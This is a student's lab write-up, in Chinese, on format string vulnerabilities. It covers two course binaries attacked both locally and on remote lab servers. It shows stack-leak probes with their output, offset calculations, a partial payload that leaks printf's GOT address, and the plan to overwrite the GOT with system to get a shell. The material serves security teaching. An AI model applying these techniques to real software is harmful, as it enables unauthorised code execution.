lab-02_ 格式化字符串漏洞
[!ABSTRACT]
俞仲炜 3220104929 241117
注:关于源代码文件名中最后一个字母,l 指攻击本地文件的,r 指远程攻击的
FSB1
[!QUOTE]
请阅读
fsb1.c的内容,在本地和远程服务上完成攻击(要求 getshell)。远程服务暴露在:
- ip:
8.154.20.109,port:10300
思路
首先通过 payload = b"ABCD.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p" 得到以下信息
ABCD.0x7ffcb329c020.0x80.0x7fa7e3665a61.0x20.(nil).0x7fa7e374e4e0.
0xbeaf.0x2e70252e44434241.0x70252e70252e7025.0x252e70252e70252e
由此确认 content 的偏移量为 8
参考 example.py 的思路,确定 payload 还需要填充 2 个 byte,进而可以确认两个 hn 的偏移量分别为 11 和 12
| address_of_var | 12 |
|---|---|
| address_of_var + 2 | 11 |
| $hnA c%12 | 10 |
| 7667 hn%1 | 9 |
| %11$ %17c | 8(content) |
| beaf | 7(x) |
为检测 x 是否被正确修改,在 fsb1.c 中增加下面两条数据
下图中可看到 x 确实是 114514

本地结果
成功拿 shell,执行 ls

远程结果

FSB2
[!QUOTE]
请阅读
fsb2.c的内容,在本地和远程服务上完成攻击(要求 getshell)。远程服务暴露在: - ip:8.154.20.109,port:10301[!TIP]
- 攻击步骤: 1. 通过泄露 libc 函数来确定 libc 加载的虚拟地址,并通过计算拿到 system 的地址; 2. 覆盖 printf 的 GOT 表为 system; 3. 调用 printf 以触发 system 从而 getshell。
- 你可以通过学习 pwntools 中 fmtstr 库 的相关 API 来简化攻击流程。
首先检查程序

64 位,Partial RELRO 表明 GOT 可写,没有 Stack Canary,NX enabled 表明不能往 stack 注入代码来攻击,No PIE 则程序加载基址固定,等等
首先查看栈情况,输入 ABCD.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n 得到:
ABCD.0x7ffe776fbad0.0x100.0x7f356ec26a61.(nil).0x7f356ed2d380.0x2e70252e44434241.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0xa.(nil)
可见 buffer 偏移量为 6
我们希望找到 libc 里的 system 地址,但是我们只能获取 offset,基地址会改变
不过程序里使用 printf,我们可以通过 GOT 泄露其地址,减去其 offset,就解决了
payload = b""
payload += b"VVVV"
payload += b"%7$s" # buffer 偏移量是 6,地址放第二个参数位置
payload += p64(printf_got) # 防止被 0 截断 printf,地址后放
[!BUG] 32 位与 64 位的区别
上课一直在讲 32 位,作业环境是 64 位,如果没有扎实的基础就会遇到问题
像这里我一开始是先加的 p64 的
printf_got,然后没有填充字节就放入%7$s,导致偷偷填充的0截断了 payload,没有执行到%7$s
得到了 printf_addr 就简单了,很容易算出 system_addr
然后使用 fmtstr_payload 自动构造覆盖 GOT 表的 payload,让下一次 printf 执行 system,并输入 /bin/sh\0,拿 shell
[!BUG]
我在写完代码后本地一直跑不通 ,最后发现是自己用
ELF解析时,傻傻用了仓库提供的libc.so,与我本地的版本不一样 T-T
本地结果
成功拿 shell,执行 ls

远程结果
远程的 libc.so 使用仓库提供的 libc.so 版本
